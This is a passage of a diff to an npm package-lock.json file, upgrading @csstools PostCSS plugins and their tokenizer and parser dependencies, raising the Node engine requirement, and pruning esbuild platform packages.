+ "url": "https://github.com/sponsors/csstools"
+ },
+ {
+ "type": "opencollective",
+ "url": "https://opencollective.com/csstools"
+ }
+ ],
+ "license": "MIT-0",
"dependencies": {
- "@csstools/css-tokenizer": "^2.1.1"
+ "@csstools/css-tokenizer": "^4.0.0",
+ "@csstools/utilities": "^3.0.0"
},
"engines": {
- "node": "^14 || ^16 || >=18"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/csstools"
+ "node": ">=20.19.0"
},
"peerDependencies": {
"postcss": "^8.4"
}
},
"node_modules/@csstools/postcss-media-minmax": {
- "version": "1.1.2",
- "resolved": "https://registry.npmjs.org/@csstools/postcss-media-minmax/-/postcss-media-minmax-1.1.2.tgz",
- "integrity": "sha512-7qTRTJxW96u2yiEaTep1+8nto1O/rEDacewKqH+Riq5E6EsHTOmGHxkB4Se5Ic5xgDC4I05lLZxzzxnlnSypxA==",
+ "version": "3.0.1",
+ "resolved": "https://registry.npmjs.org/@csstools/postcss-media-minmax/-/postcss-media-minmax-3.0.1.tgz",
+ "integrity": "sha512-I+CrmZt23fyejMItpLQFOg9gPXkDBBDjTqRT0UxCTZlYZfGrzZn4z+2kbXLRwDfR59OK8zaf26M4kwYwG0e1MA==",
"dev": true,
"funding": [
{
@@ -7188,23 +8432,24 @@
"url": "https://opencollective.com/csstools"
}
],
+ "license": "MIT",
"dependencies": {
- "@csstools/css-calc": "^1.1.6",
- "@csstools/css-parser-algorithms": "^2.5.0",
- "@csstools/css-tokenizer": "^2.2.3",
- "@csstools/media-query-list-parser": "^2.1.7"
+ "@csstools/css-calc": "^3.1.1",
+ "@csstools/css-parser-algorithms": "^4.0.0",
+ "@csstools/css-tokenizer": "^4.0.0",
+ "@csstools/media-query-list-parser": "^5.0.0"
},
"engines": {
- "node": "^14 || ^16 || >=18"
+ "node": ">=20.19.0"
},
"peerDependencies": {
"postcss": "^8.4"
}
},
"node_modules/@csstools/postcss-media-queries-aspect-ratio-number-values": {
- "version": "1.0.4",
- "resolved": "https://registry.npmjs.org/@csstools/postcss-media-queries-aspect-ratio-number-values/-/postcss-media-queries-aspect-ratio-number-values-1.0.4.tgz",
- "integrity": "sha512-IwyTbyR8E2y3kh6Fhrs251KjKBJeUPV5GlnUKnpU70PRFEN2DolWbf2V4+o/B9+Oj77P/DullLTulWEQ8uFtAA==",
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/@csstools/postcss-media-queries-aspect-ratio-number-values/-/postcss-media-queries-aspect-ratio-number-values-4.0.0.tgz",
+ "integrity": "sha512-FDdC3lbrj8Vr0SkGIcSLTcRB7ApG6nlJFxOxkEF2C5hIZC1jtgjISFSGn/WjFdVkn8Dqe+Vx9QXI3axS2w1XHw==",
"dev": true,
"funding": [
{
@@ -7216,60 +8461,103 @@
"url": "https://opencollective.com/csstools"
}
],
+ "license": "MIT-0",
"dependencies": {
- "@csstools/css-parser-algorithms": "^2.2.0",
- "@csstools/css-tokenizer": "^2.1.1",
- "@csstools/media-query-list-parser": "^2.1.1"
+ "@csstools/css-parser-algorithms": "^4.0.0",
+ "@csstools/css-tokenizer": "^4.0.0",
+ "@csstools/media-query-list-parser": "^5.0.0"
},
"engines": {
- "node": "^14 || ^16 || >=18"
+ "node": ">=20.19.0"
+ },
+ "peerDependencies": {
+ "postcss": "^8.4"
+ }
+ },
+ "node_modules/@csstools/postcss-mixins": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/@csstools/postcss-mixins/-/postcss-mixins-1.0.0.tgz",
+ "integrity": "sha512-rz6qjT2w9L3k65jGc2dX+3oGiSrYQ70EZPDrINSmSVoVys7lLBFH0tvEa8DW2sr9cbRVD/W+1sy8+7bfu0JUfg==",
+ "dev": true,
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/csstools"
+ },
+ {
+ "type": "opencollective",
+ "url": "https://opencollective.com/csstools"
+ }
+ ],
+ "license": "MIT-0",
+ "dependencies": {
+ "@csstools/css-parser-algorithms": "^4.0.0",
+ "@csstools/css-tokenizer": "^4.0.0"
+ },
+ "engines": {
+ "node": ">=20.19.0"
},
"peerDependencies": {
"postcss": "^8.4"
}
},
"node_modules/@csstools/postcss-nested-calc": {
- "version": "2.0.2",
- "resolved": "https://registry.npmjs.org/@csstools/postcss-nested-calc/-/postcss-nested-calc-2.0.2.tgz",
- "integrity": "sha512-jbwrP8rN4e7LNaRcpx3xpMUjhtt34I9OV+zgbcsYAAk6k1+3kODXJBf95/JMYWhu9g1oif7r06QVUgfWsKxCFw==",
+ "version": "5.0.0",
+ "resolved": "https://registry.npmjs.org/@csstools/postcss-nested-calc/-/postcss-nested-calc-5.0.0.tgz",
+ "integrity": "sha512-aPSw8P60e/i9BEfugauhikBqgjiwXcw3I9o4vXs+hktl4NSTgZRI0QHimxk9mst8N01A2TKDBxOln3mssRxiHQ==",
"dev": true,
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/csstools"
+ },
+ {
+ "type": "opencollective",
+ "url": "https://opencollective.com/csstools"
+ }
+ ],
+ "license": "MIT-0",
"dependencies": {
+ "@csstools/utilities": "^3.0.0",
"postcss-value-parser": "^4.2.0"
},
"engines": {
- "node": "^14 || ^16 || >=18"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/csstools"
+ "node": ">=20.19.0"
},
"peerDependencies": {
"postcss": "^8.4"
}
},
"node_modules/@csstools/postcss-normalize-display-values": {
- "version": "2.0.1",
- "resolved": "https://registry.npmjs.org/@csstools/postcss-normalize-display-values/-/postcss-normalize-display-values-2.0.1.tgz",
- "integrity": "sha512-TQT5g3JQ5gPXC239YuRK8jFceXF9d25ZvBkyjzBGGoW5st5sPXFVQS8OjYb9IJ/K3CdfK4528y483cgS2DJR/w==",
+ "version": "5.0.1",
+ "resolved": "https://registry.npmjs.org/@csstools/postcss-normalize-display-values/-/postcss-normalize-display-values-5.0.1.tgz",
+ "integrity": "sha512-FcbEmoxDEGYvm2W3rQzVzcuo66+dDJjzzVDs+QwRmZLHYofGmMGwIKPqzF86/YW+euMDa7sh1xjWDvz/fzByZQ==",
"dev": true,
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/csstools"
+ },
+ {
+ "type": "opencollective",
+ "url": "https://opencollective.com/csstools"
+ }
+ ],
+ "license": "MIT-0",
"dependencies": {
"postcss-value-parser": "^4.2.0"
},
"engines": {
- "node": "^14 || ^16 || >=18"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/csstools"
+ "node": ">=20.19.0"
},
"peerDependencies": {
"postcss": "^8.4"
}
},
"node_modules/@csstools/postcss-oklab-function": {
- "version": "2.2.3",
- "resolved": "https://registry.npmjs.org/@csstools/postcss-oklab-function/-/postcss-oklab-function-2.2.3.tgz",
- "integrity": "sha512-AgJ2rWMnLCDcbSMTHSqBYn66DNLBym6JpBpCaqmwZ9huGdljjDRuH3DzOYzkgQ7Pm2K92IYIq54IvFHloUOdvA==",
+ "version": "5.0.2",
+ "resolved": "https://registry.npmjs.org/@csstools/postcss-oklab-function/-/postcss-oklab-function-5.0.2.tgz",
+ "integrity": "sha512-3d/Wcnp2uW6Io0Tajl0croeUo46gwOVQI9N32PjA/HVQo6z1iL7yp19Gp+6e5E5CDKGpW7U822MsDVo2XK1z0Q==",
"dev": true,
"funding": [
{
@@ -7281,23 +8569,48 @@
"url": "https://opencollective.com/csstools"
}
],
+ "license": "MIT-0",
"dependencies": {
- "@csstools/css-color-parser": "^1.2.0",
- "@csstools/css-parser-algorithms": "^2.1.1",
- "@csstools/css-tokenizer": "^2.1.1",
- "@csstools/postcss-progressive-custom-properties": "^2.3.0"
+ "@csstools/css-color-parser": "^4.0.2",
+ "@csstools/css-parser-algorithms": "^4.0.0",
+ "@csstools/css-tokenizer": "^4.0.0",
+ "@csstools/postcss-progressive-custom-properties": "^5.0.0",
+ "@csstools/utilities": "^3.0.0"
},
"engines": {
- "node": "^14 || ^16 || >=18"
+ "node": ">=20.19.0"
+ },
+ "peerDependencies": {
+ "postcss": "^8.4"
+ }
+ },
+ "node_modules/@csstools/postcss-position-area-property": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/@csstools/postcss-position-area-property/-/postcss-position-area-property-2.0.0.tgz",
+ "integrity": "sha512-TeEfzsJGB23Syv7yCm8AHCD2XTFujdjr9YYu9ebH64vnfCEvY4BG319jXAYSlNlf3Yc9PNJ6WnkDkUF5XVgSKQ==",
+ "dev": true,
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/csstools"
+ },
+ {
+ "type": "opencollective",
+ "url": "https://opencollective.com/csstools"
+ }
+ ],
+ "license": "MIT-0",
+ "engines": {
+ "node": ">=20.19.0"
},
"peerDependencies": {
"postcss": "^8.4"
}
},
"node_modules/@csstools/postcss-progressive-custom-properties": {
- "version": "2.3.0",
- "resolved": "https://registry.npmjs.org/@csstools/postcss-progressive-custom-properties/-/postcss-progressive-custom-properties-2.3.0.tgz",
- "integrity": "sha512-Zd8ojyMlsL919TBExQ1I0CTpBDdyCpH/yOdqatZpuC3sd22K4SwC7+Yez3Q/vmXMWSAl+shjNeFZ7JMyxMjK+Q==",
+ "version": "5.0.0",
+ "resolved": "https://registry.npmjs.org/@csstools/postcss-progressive-custom-properties/-/postcss-progressive-custom-properties-5.0.0.tgz",
+ "integrity": "sha512-NsJoZ89rxmDrUsITf8QIk5w+lQZQ8Xw5K6cLFG+cfiffsLYHb3zcbOOrHLetGl1WIhjWWQ4Cr8MMrg46Q+oACg==",
"dev": true,
"funding": [
{
@@ -7309,20 +8622,76 @@
"url": "https://opencollective.com/csstools"
}
],
+ "license": "MIT-0",
"dependencies": {
"postcss-value-parser": "^4.2.0"
},
"engines": {
- "node": "^14 || ^16 || >=18"
+ "node": ">=20.19.0"
+ },
+ "peerDependencies": {
+ "postcss": "^8.4"
+ }
+ },
+ "node_modules/@csstools/postcss-property-rule-prelude-list": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/@csstools/postcss-property-rule-prelude-list/-/postcss-property-rule-prelude-list-2.0.0.tgz",
+ "integrity": "sha512-qcMAkc9AhpzHgmQCD8hoJgGYifcOAxd1exXjjxilMM6euwRE619xDa4UsKBCv/v4g+sS63sd6c29LPM8s2ylSQ==",
+ "dev": true,
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/csstools"
+ },
+ {
+ "type": "opencollective",
+ "url": "https://opencollective.com/csstools"
+ }
+ ],
+ "license": "MIT-0",
+ "dependencies": {
+ "@csstools/css-parser-algorithms": "^4.0.0",
+ "@csstools/css-tokenizer": "^4.0.0"
+ },
+ "engines": {
+ "node": ">=20.19.0"
+ },
+ "peerDependencies": {
+ "postcss": "^8.4"
+ }
+ },
+ "node_modules/@csstools/postcss-random-function": {
+ "version": "3.0.1",
+ "resolved": "https://registry.npmjs.org/@csstools/postcss-random-function/-/postcss-random-function-3.0.1.tgz",
+ "integrity": "sha512-SvKGfmj+WHfn4bWHaBYlkXDyU3SlA3fL8aaYZ8Op6M8tunNf3iV9uZyZZGWMCbDw0sGeoTmYZW9nmKN8Qi/ctg==",
+ "dev": true,
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/csstools"
+ },
+ {
+ "type": "opencollective",
+ "url": "https://opencollective.com/csstools"
+ }
+ ],
+ "license": "MIT-0",
+ "dependencies": {
+ "@csstools/css-calc": "^3.1.1",
+ "@csstools/css-parser-algorithms": "^4.0.0",
+ "@csstools/css-tokenizer": "^4.0.0"
+ },
+ "engines": {
+ "node": ">=20.19.0"
},
"peerDependencies": {
"postcss": "^8.4"
}
},
"node_modules/@csstools/postcss-relative-color-syntax": {
- "version": "1.0.2",
- "resolved": "https://registry.npmjs.org/@csstools/postcss-relative-color-syntax/-/postcss-relative-color-syntax-1.0.2.tgz",
- "integrity": "sha512-juCoVInkgH2TZPfOhyx6tIal7jW37L/0Tt+Vcl1LoxqQA9sxcg3JWYZ98pl1BonDnki6s/M7nXzFQHWsWMeHgw==",
+ "version": "4.0.2",
+ "resolved": "https://registry.npmjs.org/@csstools/postcss-relative-color-syntax/-/postcss-relative-color-syntax-4.0.2.tgz",
+ "integrity": "sha512-HaMN+qMURinllszbps2AhXKaLeibg/2VW6FriYDrqE58ji82+z2S3/eLloywVOY8BQCJ9lZMdy6TcRQNbn9u3w==",
"dev": true,
"funding": [
{
@@ -7334,63 +8703,174 @@
"url": "https://opencollective.com/csstools"
}
],
+ "license": "MIT-0",
"dependencies": {
- "@csstools/css-color-parser": "^1.2.0",
- "@csstools/css-parser-algorithms": "^2.1.1",
- "@csstools/css-tokenizer": "^2.1.1",
- "@csstools/postcss-progressive-custom-properties": "^2.3.0"
+ "@csstools/css-color-parser": "^4.0.2",
+ "@csstools/css-parser-algorithms": "^4.0.0",
+ "@csstools/css-tokenizer": "^4.0.0",
+ "@csstools/postcss-progressive-custom-properties": "^5.0.0",
+ "@csstools/utilities": "^3.0.0"
},
"engines": {
- "node": "^14 || ^16 || >=18"
+ "node": ">=20.19.0"
},
"peerDependencies": {
"postcss": "^8.4"
}
},
"node_modules/@csstools/postcss-scope-pseudo-class": {
- "version": "2.0.2",
- "resolved": "https://registry.npmjs.org/@csstools/postcss-scope-pseudo-class/-/postcss-scope-pseudo-class-2.0.2.tgz",
- "integrity": "sha512-6Pvo4uexUCXt+Hz5iUtemQAcIuCYnL+ePs1khFR6/xPgC92aQLJ0zGHonWoewiBE+I++4gXK3pr+R1rlOFHe5w==",
+ "version": "5.0.0",
+ "resolved": "https://registry.npmjs.org/@csstools/postcss-scope-pseudo-class/-/postcss-scope-pseudo-class-5.0.0.tgz",
+ "integrity": "sha512-kBrBFJcAji3MSHS4qQIihPvJfJC5xCabXLbejqDMiQi+86HD4eMBiTayAo46Urg7tlEmZZQFymFiJt+GH6nvXw==",
"dev": true,
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/csstools"
+ },
+ {
+ "type": "opencollective",
+ "url": "https://opencollective.com/csstools"
+ }
+ ],
+ "license": "MIT-0",
"dependencies": {
- "postcss-selector-parser": "^6.0.10"
+ "postcss-selector-parser": "^7.1.1"
},
"engines": {
- "node": "^14 || ^16 || >=18"
+ "node": ">=20.19.0"
},
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/csstools"
+ "peerDependencies": {
+ "postcss": "^8.4"
+ }
+ },
+ "node_modules/@csstools/postcss-scope-pseudo-class/node_modules/postcss-selector-parser": {
+ "version": "7.1.1",
+ "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-7.1.1.tgz",
+ "integrity": "sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "cssesc": "^3.0.0",
+ "util-deprecate": "^1.0.2"
+ },
+ "engines": {
+ "node": ">=4"
+ }
+ },
+ "node_modules/@csstools/postcss-sign-functions": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/@csstools/postcss-sign-functions/-/postcss-sign-functions-2.0.1.tgz",
+ "integrity": "sha512-C3br0qcHJkQ0qSGUBnDJHXQdO8XObnCpGwai5m1L2tv2nCjt0vRHG6A9aVCQHvh08OqHNM2ty1dYDNNXV99YAQ==",
+ "dev": true,
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/csstools"
+ },
+ {
+ "type": "opencollective",
+ "url": "https://opencollective.com/csstools"
+ }
+ ],
+ "license": "MIT-0",
+ "dependencies": {
+ "@csstools/css-calc": "^3.1.1",
+ "@csstools/css-parser-algorithms": "^4.0.0",
+ "@csstools/css-tokenizer": "^4.0.0"
+ },
+ "engines": {
+ "node": ">=20.19.0"
},
"peerDependencies": {
"postcss": "^8.4"
}
},
"node_modules/@csstools/postcss-stepped-value-functions": {
- "version": "2.1.1",
- "resolved": "https://registry.npmjs.org/@csstools/postcss-stepped-value-functions/-/postcss-stepped-value-functions-2.1.1.tgz",
- "integrity": "sha512-YCvdF0GCZK35nhLgs7ippcxDlRVe5QsSht3+EghqTjnYnyl3BbWIN6fYQ1dKWYTJ+7Bgi41TgqQFfJDcp9Xy/w==",
+ "version": "5.0.1",
+ "resolved": "https://registry.npmjs.org/@csstools/postcss-stepped-value-functions/-/postcss-stepped-value-functions-5.0.1.tgz",
+ "integrity": "sha512-vZf7zPzRb7xIi2o5Z9q6wyeEAjoRCg74O2QvYxmQgxYO5V5cdBv4phgJDyOAOP3JHy4abQlm2YaEUS3gtGQo0g==",
"dev": true,
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/csstools"
+ },
+ {
+ "type": "opencollective",
+ "url": "https://opencollective.com/csstools"
+ }
+ ],
+ "license": "MIT-0",
"dependencies": {
- "@csstools/css-calc": "^1.1.1",
- "@csstools/css-parser-algorithms": "^2.1.1",
- "@csstools/css-tokenizer": "^2.1.1"
+ "@csstools/css-calc": "^3.1.1",
+ "@csstools/css-parser-algorithms": "^4.0.0",
+ "@csstools/css-tokenizer": "^4.0.0"
},
"engines": {
- "node": "^14 || ^16 || >=18"
+ "node": ">=20.19.0"
},
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/csstools"
+ "peerDependencies": {
+ "postcss": "^8.4"
+ }
+ },
+ "node_modules/@csstools/postcss-syntax-descriptor-syntax-production": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/@csstools/postcss-syntax-descriptor-syntax-production/-/postcss-syntax-descriptor-syntax-production-2.0.0.tgz",
+ "integrity": "sha512-elYcbdiBXAkPqvojB9kIBRuHY6htUhjSITtFQ+XiXnt6SvZCbNGxQmaaw6uZ7SPHu/+i/XVjzIt09/1k3SIerQ==",
+ "dev": true,
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/csstools"
+ },
+ {
+ "type": "opencollective",
+ "url": "https://opencollective.com/csstools"
+ }
+ ],
+ "license": "MIT-0",
+ "dependencies": {
+ "@csstools/css-tokenizer": "^4.0.0"
+ },
+ "engines": {
+ "node": ">=20.19.0"
+ },
+ "peerDependencies": {
+ "postcss": "^8.4"
+ }
+ },
+ "node_modules/@csstools/postcss-system-ui-font-family": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/@csstools/postcss-system-ui-font-family/-/postcss-system-ui-font-family-2.0.0.tgz",
+ "integrity": "sha512-FyGZCgchFImFyiHS2x3rD5trAqatf/x23veBLTIgbaqyFfna6RNBD+Qf8HRSjt6HGMXOLhAjxJ3OoZg0bbn7Qw==",
+ "dev": true,
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/csstools"
+ },
+ {
+ "type": "opencollective",
+ "url": "https://opencollective.com/csstools"
+ }
+ ],
+ "license": "MIT-0",
+ "dependencies": {
+ "@csstools/css-parser-algorithms": "^4.0.0",
+ "@csstools/css-tokenizer": "^4.0.0"
+ },
+ "engines": {
+ "node": ">=20.19.0"
},
"peerDependencies": {
"postcss": "^8.4"
}
},
"node_modules/@csstools/postcss-text-decoration-shorthand": {
- "version": "2.2.4",
- "resolved": "https://registry.npmjs.org/@csstools/postcss-text-decoration-shorthand/-/postcss-text-decoration-shorthand-2.2.4.tgz",
- "integrity": "sha512-zPN56sQkS/7YTCVZhOBVCWf7AiNge8fXDl7JVaHLz2RyT4pnyK2gFjckWRLpO0A2xkm1lCgZ0bepYZTwAVd/5A==",
+ "version": "5.0.3",
+ "resolved": "https://registry.npmjs.org/@csstools/postcss-text-decoration-shorthand/-/postcss-text-decoration-shorthand-5.0.3.tgz",
+ "integrity": "sha512-62fjggvIM1YYfDJPcErMUDkEZB6CByG8neTJqexnZe1hRBgCjD4dnXDLoCSSurjs1LzjBq6irFDpDaOvDZfrlw==",
"dev": true,
"funding": [
{
@@ -7402,21 +8882,22 @@
"url": "https://opencollective.com/csstools"
}
],
+ "license": "MIT-0",
"dependencies": {
- "@csstools/color-helpers": "^2.1.0",
+ "@csstools/color-helpers": "^6.0.2",
"postcss-value-parser": "^4.2.0"
},
"engines": {
- "node": "^14 || ^16 || >=18"
+ "node": ">=20.19.0"
},
"peerDependencies": {
"postcss": "^8.4"
}
},
- "node_modules/@csstools/postcss-text-decoration-shorthand/node_modules/@csstools/color-helpers": {
- "version": "2.1.0",
- "resolved": "https://registry.npmjs.org/@csstools/color-helpers/-/color-helpers-2.1.0.tgz",
- "integrity": "sha512-OWkqBa7PDzZuJ3Ha7T5bxdSVfSCfTq6K1mbAhbO1MD+GSULGjrp45i5RudyJOedstSarN/3mdwu9upJE7gDXfw==",
+ "node_modules/@csstools/postcss-trigonometric-functions": {
+ "version": "5.0.1",
+ "resolved": "https://registry.npmjs.org/@csstools/postcss-trigonometric-functions/-/postcss-trigonometric-functions-5.0.1.tgz",
+ "integrity": "sha512-e8me32Mhl8JeBnxVJgsQUYpV4Md4KiyvpILpQlaY/eK1Gwdb04kasiTTswPQ5q7Z8+FppJZ2Z4d8HRfn6rjD3w==",
"dev": true,
"funding": [
{
@@ -7428,61 +8909,63 @@
"url": "https://opencollective.com/csstools"
}
],
- "engines": {
- "node": "^14 || ^16 || >=18"
- }
- },
- "node_modules/@csstools/postcss-trigonometric-functions": {
- "version": "2.1.1",
- "resolved": "https://registry.npmjs.org/@csstools/postcss-trigonometric-functions/-/postcss-trigonometric-functions-2.1.1.tgz",
- "integrity": "sha512-XcXmHEFfHXhvYz40FtDlA4Fp4NQln2bWTsCwthd2c+MCnYArUYU3YaMqzR5CrKP3pMoGYTBnp5fMqf1HxItNyw==",
- "dev": true,
+ "license": "MIT-0",
"dependencies": {
- "@csstools/css-calc": "^1.1.1",
- "@csstools/css-parser-algorithms": "^2.1.1",
- "@csstools/css-tokenizer": "^2.1.1"
+ "@csstools/css-calc": "^3.1.1",
+ "@csstools/css-parser-algorithms": "^4.0.0",
+ "@csstools/css-tokenizer": "^4.0.0"
},
"engines": {
- "node": "^14 || ^16 || >=18"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/csstools"
+ "node": ">=20.19.0"
},
"peerDependencies": {
"postcss": "^8.4"
}
},
"node_modules/@csstools/postcss-unset-value": {
- "version": "2.0.1",
- "resolved": "https://registry.npmjs.org/@csstools/postcss-unset-value/-/postcss-unset-value-2.0.1.tgz",
- "integrity": "sha512-oJ9Xl29/yU8U7/pnMJRqAZd4YXNCfGEdcP4ywREuqm/xMqcgDNDppYRoCGDt40aaZQIEKBS79LytUDN/DHf0Ew==",
+ "version": "5.0.0",
+ "resolved": "https://registry.npmjs.org/@csstools/postcss-unset-value/-/postcss-unset-value-5.0.0.tgz",
+ "integrity": "sha512-EoO54sS2KCIfesvHyFYAW99RtzwHdgaJzhl7cqKZSaMYKZv3fXSOehDjAQx8WZBKn1JrMd7xJJI1T1BxPF7/jA==",
"dev": true,
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/csstools"
+ },
+ {
+ "type": "opencollective",
+ "url": "https://opencollective.com/csstools"
+ }
+ ],
+ "license": "MIT-0",
"engines": {
- "node": "^14 || ^16 || >=18"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/csstools"
+ "node": ">=20.19.0"
},
"peerDependencies": {
"postcss": "^8.4"
}
},
- "node_modules/@csstools/selector-specificity": {
- "version": "2.2.0",
- "resolved": "https://registry.npmjs.org/@csstools/selector-specificity/-/selector-specificity-2.2.0.tgz",
- "integrity": "sha512-+OJ9konv95ClSTOJCmMZqpd5+YGsB2S+x6w3E1oaM8UuR5j8nTNHYSz8c9BEPGDOCMQYIEEGlVPj/VY64iTbGw==",
+ "node_modules/@csstools/utilities": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/@csstools/utilities/-/utilities-3.0.0.tgz",
+ "integrity": "sha512-etDqA/4jYvOGBM6yfKCOsEXfH96BKztZdgGmGqKi2xHnDe0ILIBraRspwgYatJH9JsCZ5HCGoCst8w18EKOAdg==",
"dev": true,
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/csstools"
+ },
+ {
+ "type": "opencollective",
+ "url": "https://opencollective.com/csstools"
+ }
+ ],
+ "license": "MIT-0",
"engines": {
- "node": "^14 || ^16 || >=18"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/csstools"
+ "node": ">=20.19.0"
},
"peerDependencies": {
- "postcss-selector-parser": "^6.0.10"
+ "postcss": "^8.4"
}
},
"node_modules/@dabh/diagnostics": {
@@ -7944,44 +9427,10 @@
"tslib": "^2.4.0"
}
},
- "node_modules/@esbuild/aix-ppc64": {
- "version": "0.25.1",
- "resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.25.1.tgz",
- "integrity": "sha512-kfYGy8IdzTGy+z0vFGvExZtxkFlA4zAxgKEahG9KE1ScBjpQnFsNOX8KTU5ojNru5ed5CVoJYXFtoxaq5nFbjQ==",
- "cpu": [
- "ppc64"
- ],
- "dev": true,
- "license": "MIT",
- "optional": true,
- "os": [
- "aix"
- ],
- "engines": {
- "node": ">=18"
- }
- },
- "node_modules/@esbuild/android-arm": {
- "version": "0.25.1",
- "resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.25.1.tgz",
- "integrity": "sha512-dp+MshLYux6j/JjdqVLnMglQlFu+MuVeNrmT5nk6q07wNhCdSnB7QZj+7G8VMUGh1q+vj2Bq8kRsuyA00I/k+Q==",
- "cpu": [
- "arm"
- ],
- "dev": true,
- "license": "MIT",
- "optional": true,
- "os": [
- "android"
- ],
- "engines": {
- "node": ">=18"
- }
- },
- "node_modules/@esbuild/android-arm64": {
- "version": "0.25.1",
- "resolved": "https://registry.npmjs.org/@esbuild/android-arm64/-/android-arm64-0.25.1.tgz",
- "integrity": "sha512-50tM0zCJW5kGqgG7fQ7IHvQOcAn9TKiVRuQ/lN0xR+T2lzEFvAi1ZcS8DiksFcEpf1t/GYOeOfCAgDHFpkiSmA==",
+ "node_modules/@esbuild/openharmony-arm64": {
+ "version": "0.27.3",
+ "resolved": "https://registry.npmjs.org/@esbuild/openharmony-arm64/-/openharmony-arm64-0.27.3.tgz",
+ "integrity": "sha512-NinAEgr/etERPTsZJ7aEZQvvg/A6IsZG/LgZy+81wON2huV7SrK3e63dU0XhyZP4RKGyTm7aOgmQk0bGp0fy2g==",
"cpu": [
"arm64"
],
@@ -7989,381 +9438,7 @@
"license": "MIT",
"optional": true,
"os": [
- "android"
- ],
- "engines": {
- "node": ">=18"
- }
- },
- "node_modules/@esbuild/android-x64": {
- "version": "0.25.1",
- "resolved": "https://registry.npmjs.org/@esbuild/android-x64/-/android-x64-0.25.1.tgz",
- "integrity": "sha512-GCj6WfUtNldqUzYkN/ITtlhwQqGWu9S45vUXs7EIYf+7rCiiqH9bCloatO9VhxsL0Pji+PF4Lz2XXCES+Q8hDw==",
- "cpu": [
- "x64"
- ],
- "dev": true,
- "license": "MIT",
- "optional": true,
- "os": [
- "android"
- ],
- "engines": {
- "node": ">=18"
- }
- },
- "node_modules/@esbuild/darwin-arm64": {
- "version": "0.25.1",
- "resolved": "https://registry.npmjs.org/@esbuild/darwin-arm64/-/darwin-arm64-0.25.1.tgz",
- "integrity": "sha512-5hEZKPf+nQjYoSr/elb62U19/l1mZDdqidGfmFutVUjjUZrOazAtwK+Kr+3y0C/oeJfLlxo9fXb1w7L+P7E4FQ==",
- "cpu": [
- "arm64"
- ],
- "dev": true,
- "license": "MIT",
- "optional": true,
- "os": [
- "darwin"
- ],
- "engines": {
- "node": ">=18"
- }
- },
- "node_modules/@esbuild/darwin-x64": {
- "version": "0.25.1",
- "resolved": "https://registry.npmjs.org/@esbuild/darwin-x64/-/darwin-x64-0.25.1.tgz",
- "integrity": "sha512-hxVnwL2Dqs3fM1IWq8Iezh0cX7ZGdVhbTfnOy5uURtao5OIVCEyj9xIzemDi7sRvKsuSdtCAhMKarxqtlyVyfA==",
- "cpu": [
- "x64"
- ],
- "dev": true,
- "license": "MIT",
- "optional": true,
- "os": [
- "darwin"
- ],
- "engines": {
- "node": ">=18"
- }
- },
- "node_modules/@esbuild/freebsd-arm64": {
- "version": "0.25.1",
- "resolved": "https://registry.npmjs.org/@esbuild/freebsd-arm64/-/freebsd-arm64-0.25.1.tgz",
- "integrity": "sha512-1MrCZs0fZa2g8E+FUo2ipw6jw5qqQiH+tERoS5fAfKnRx6NXH31tXBKI3VpmLijLH6yriMZsxJtaXUyFt/8Y4A==",
- "cpu": [
- "arm64"
- ],
- "dev": true,
- "license": "MIT",
- "optional": true,
- "os": [
- "freebsd"
- ],
- "engines": {
- "node": ">=18"
- }
- },
- "node_modules/@esbuild/freebsd-x64": {
- "version": "0.25.1",
- "resolved": "https://registry.npmjs.org/@esbuild/freebsd-x64/-/freebsd-x64-0.25.1.tgz",
- "integrity": "sha512-0IZWLiTyz7nm0xuIs0q1Y3QWJC52R8aSXxe40VUxm6BB1RNmkODtW6LHvWRrGiICulcX7ZvyH6h5fqdLu4gkww==",
- "cpu": [
- "x64"
- ],
- "dev": true,
- "license": "MIT",
- "optional": true,
- "os": [
- "freebsd"
- ],
- "engines": {
- "node": ">=18"
- }
- },
- "node_modules/@esbuild/linux-arm": {
- "version": "0.25.1",
- "resolved": "https://registry.npmjs.org/@esbuild/linux-arm/-/linux-arm-0.25.1.tgz",
- "integrity": "sha512-NdKOhS4u7JhDKw9G3cY6sWqFcnLITn6SqivVArbzIaf3cemShqfLGHYMx8Xlm/lBit3/5d7kXvriTUGa5YViuQ==",
- "cpu": [
- "arm"
- ],
- "dev": true,
- "license": "MIT",
